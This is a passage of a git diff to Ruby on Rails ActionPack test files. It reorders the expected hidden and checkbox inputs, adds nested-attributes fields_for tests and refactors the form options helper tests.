- expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
expected << "</select>\n"
- assert_dom_equal expected, datetime_select("post", "updated_at", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
end
def test_date_select_with_zero_value_and_no_start_year
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
index e268728c79..104649deac 100644
--- a/actionpack/test/template/form_helper_test.rb
+++ b/actionpack/test/template/form_helper_test.rb
@@ -15,21 +15,31 @@ silence_warnings do
def new_record?
@new_record
end
+
+ attr_accessor :author
+ def author_attributes=(attributes); end
+
+ attr_accessor :comments
+ def comments_attributes=(attributes); end
end
class Comment
attr_reader :id
attr_reader :post_id
+ def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
def save; @id = 1; @post_id = 1 end
def new_record?; @id.nil? end
def to_param; @id; end
def name
- @id.nil? ? 'new comment' : "comment ##{@id}"
+ @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
end
end
-end
-class Comment::Nested < Comment; end
+ class Author < Comment
+ attr_accessor :post
+ def post_attributes=(attributes); end
+ end
+end
class FormHelperTest < ActionView::TestCase
tests ActionView::Helpers::FormHelper
@@ -161,36 +171,36 @@ class FormHelperTest < ActionView::TestCase
def test_check_box
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret")
)
@post.secret = 0
assert_dom_equal(
- '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret")
)
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret" ,{"checked"=>"checked"})
)
@post.secret = true
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret")
)
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret?")
)
@post.secret = ['0']
assert_dom_equal(
- '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret")
)
@post.secret = ['1']
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret")
)
end
@@ -198,14 +208,14 @@ class FormHelperTest < ActionView::TestCase
def test_check_box_with_explicit_checked_and_unchecked_values
@post.secret = "on"
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" /><input name="post[secret]" type="hidden" value="off" />',
+ '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
check_box("post", "secret", {}, "on", "off")
)
end
def test_checkbox_disabled_still_submits_checked_value
assert_dom_equal(
- '<input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="1" />',
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret", { :disabled => :true })
)
end
@@ -280,7 +290,7 @@ class FormHelperTest < ActionView::TestCase
text_area("post", "body", "name" => "really!")
)
assert_dom_equal(
- '<input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" /><input name="i mean it" type="hidden" value="0" />',
+ '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
check_box("post", "secret", "name" => "i mean it")
)
assert_dom_equal text_field("post", "title", "name" => "dont guess"),
@@ -300,7 +310,7 @@ class FormHelperTest < ActionView::TestCase
text_area("post", "body", "id" => "really!")
)
assert_dom_equal(
- '<input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
check_box("post", "secret", "id" => "i mean it")
)
assert_dom_equal text_field("post", "title", "id" => "dont guess"),
@@ -325,7 +335,7 @@ class FormHelperTest < ActionView::TestCase
text_area("post[]", "body")
)
assert_dom_equal(
- "<input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" /><input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" />",
+ "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
check_box("post[]", "secret")
)
assert_dom_equal(
@@ -351,8 +361,8 @@ class FormHelperTest < ActionView::TestCase
"<label for='post_title'>Title</label>" +
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"<input name='commit' id='post_submit' type='submit' value='Create post' />" +
"</form>"
@@ -371,8 +381,8 @@ class FormHelperTest < ActionView::TestCase
"<div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div>" +
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -389,8 +399,8 @@ class FormHelperTest < ActionView::TestCase
"<form action='http://www.example.com' id='create-post' method='post'>" +
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -409,8 +419,8 @@ class FormHelperTest < ActionView::TestCase
"<label for=\"post_123_title\">Title</label>" +
"<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
"<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
"<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -427,8 +437,8 @@ class FormHelperTest < ActionView::TestCase
"<form action='http://www.example.com' method='post'>" +
"<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
"<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
"<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -480,7 +490,7 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
- def test_nested_fields_for_with_index
+ def test_form_for_with_index_and_nested_fields_for
form_for(:post, @post, :index => 1) do |f|
f.fields_for(:comment, @post) do |c|
concat c.text_field(:title)
@@ -559,6 +569,158 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ f.fields_for(:author) do |af|
+ concat af.text_field(:name)
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="new author" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+ form_for(:post, @post) do |f|
+ f.fields_for(:author, Author.new(123)) do |af|
+ assert_not_nil af.object
+ assert_equal 123, af.object.id
+ end
+ end
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new(321)
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ f.fields_for(:author) do |af|
+ concat af.text_field(:name)
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+ @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
+ '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new, Comment.new]
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="new comment" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+ @post.comments = [Comment.new(321), Comment.new]
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ @post.comments.each do |comment|
+ f.fields_for(:comments, comment) do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+ @post.comments = [Comment.new(321), Comment.new]
+ yielded_comments = []
+
+ form_for(:post, @post) do |f|
+ concat f.text_field(:title)
+ f.fields_for(:comments) do |cf|
+ concat cf.text_field(:name)
+ yielded_comments << cf.object
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
+ '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ assert_equal yielded_comments, @post.comments
+ end
+
+ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+ @post.comments = []
+
+ form_for(:post, @post) do |f|
+ f.fields_for(:comments, Comment.new(321), :child_index => 'abc') do |cf|
+ concat cf.text_field(:name)
+ end
+ end
+
+ expected = '<form action="http://www.example.com" method="post">' +
+ '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />' +
+ '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" size="30" type="text" value="comment #321" />' +
+ '</form>'
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_fields_for
fields_for(:post, @post) do |f|
concat f.text_field(:title)
@@ -569,8 +731,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' />"
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -585,8 +747,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
"<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
- "<input name='post[123][secret]' type='hidden' value='0' />"
+ "<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -601,8 +763,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
"<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
- "<input name='post[][secret]' type='hidden' value='0' />"
+ "<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -617,8 +779,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[abc][title]' size='30' type='text' id='post_abc_title' value='Hello World' />" +
"<textarea name='post[abc][body]' id='post_abc_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />" +
- "<input name='post[abc][secret]' type='hidden' value='0' />"
+ "<input name='post[abc][secret]' type='hidden' value='0' />" +
+ "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -633,8 +795,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' />"
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -649,8 +811,8 @@ class FormHelperTest < ActionView::TestCase
expected =
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' />"
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
assert_dom_equal expected, output_buffer
end
@@ -695,8 +857,8 @@ class FormHelperTest < ActionView::TestCase
"<form action='http://www.example.com' id='create-post' method='post'>" +
"<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
"<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
- "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
"<input name='parent_post[secret]' type='hidden' value='0' />" +
+ "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -744,8 +906,7 @@ class FormHelperTest < ActionView::TestCase
"<form action='http://www.example.com' method='post'>" +
"<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
"<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -765,8 +926,7 @@ class FormHelperTest < ActionView::TestCase
"<form action='http://www.example.com' method='post'>" +
"<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
"<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -821,8 +981,7 @@ class FormHelperTest < ActionView::TestCase
%(<form action="http://www.example.com" onsubmit="new Ajax.Request('http://www.example.com', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" method="post">) +
"<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
"<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' /><br/>" +
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>" +
"</form>"
assert_dom_equal expected, output_buffer
@@ -838,12 +997,52 @@ class FormHelperTest < ActionView::TestCase
expected =
"<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
"<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
- "<label for='secret'>Secret:</label> <input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='post[secret]' type='hidden' value='0' /><br/>"
+ "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
assert_dom_equal expected, output_buffer
end
+ def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+ klass = nil
+
+ form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+ klass = nil
+
+ form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, :index => 'foo') do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
+
+ class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+ klass = nil
+
+ form_for(:post, @post, :builder => LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, :builder => LabelledFormBuilderSubclass) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilderSubclass, klass
+ end
+
def test_form_for_with_html_options_adds_options_to_form_tag
form_for(:post, @post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
expected = "<form action=\"http://www.example.com\" class=\"some_class\" id=\"some_form\" method=\"post\"></form>"
@@ -975,4 +1174,4 @@ class FormHelperTest < ActionView::TestCase
def protect_against_forgery?
false
end
-end
+end \ No newline at end of file
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
index 6821832ee9..78db87971b 100644
--- a/actionpack/test/template/form_options_helper_test.rb
+++ b/actionpack/test/template/form_options_helper_test.rb
@@ -3,727 +3,749 @@ require 'tzinfo'
TZInfo::Timezone.cattr_reader :loaded_zones
-uses_mocha "FormOptionsHelperTest" do
- class FormOptionsHelperTest < ActionView::TestCase
- tests ActionView::Helpers::FormOptionsHelper
-
- silence_warnings do
- Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
- Continent = Struct.new('Continent', :continent_name, :countries)
- Country = Struct.new('Country', :country_id, :country_name)
- Firm = Struct.new('Firm', :time_zone)
- Album = Struct.new('Album', :id, :title, :genre)
- end
+class FormOptionsHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::FormOptionsHelper
+
+ silence_warnings do
+ Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin)
+ Continent = Struct.new('Continent', :continent_name, :countries)
+ Country = Struct.new('Country', :country_id, :country_name)
+ Firm = Struct.new('Firm', :time_zone)
+ Album = Struct.new('Album', :id, :title, :genre)
+ end
- def setup
- super
- @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
- tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
- ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
- zones << tz
- end
- ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+ def setup
+ @fake_timezones = %w(A B C D E).inject([]) do |zones, id|
+ tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+ ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+ zones << tz
end
+ ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+ end
- def test_collection_options
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_collection_options
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title")
+ )
+ end
+
+ def test_collection_options_with_preselected_value
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_array
assert_dom_equal(
- "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
- options_from_collection_for_select(@posts, "author_name", "title")
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
)
- end
+ end
+ def test_collection_options_with_proc_for_selected
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
+ )
+ end
- def test_collection_options_with_preselected_value
- @posts = [
- Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!")
- ]
+ def test_collection_options_with_disabled_value
+ assert_dom_equal(
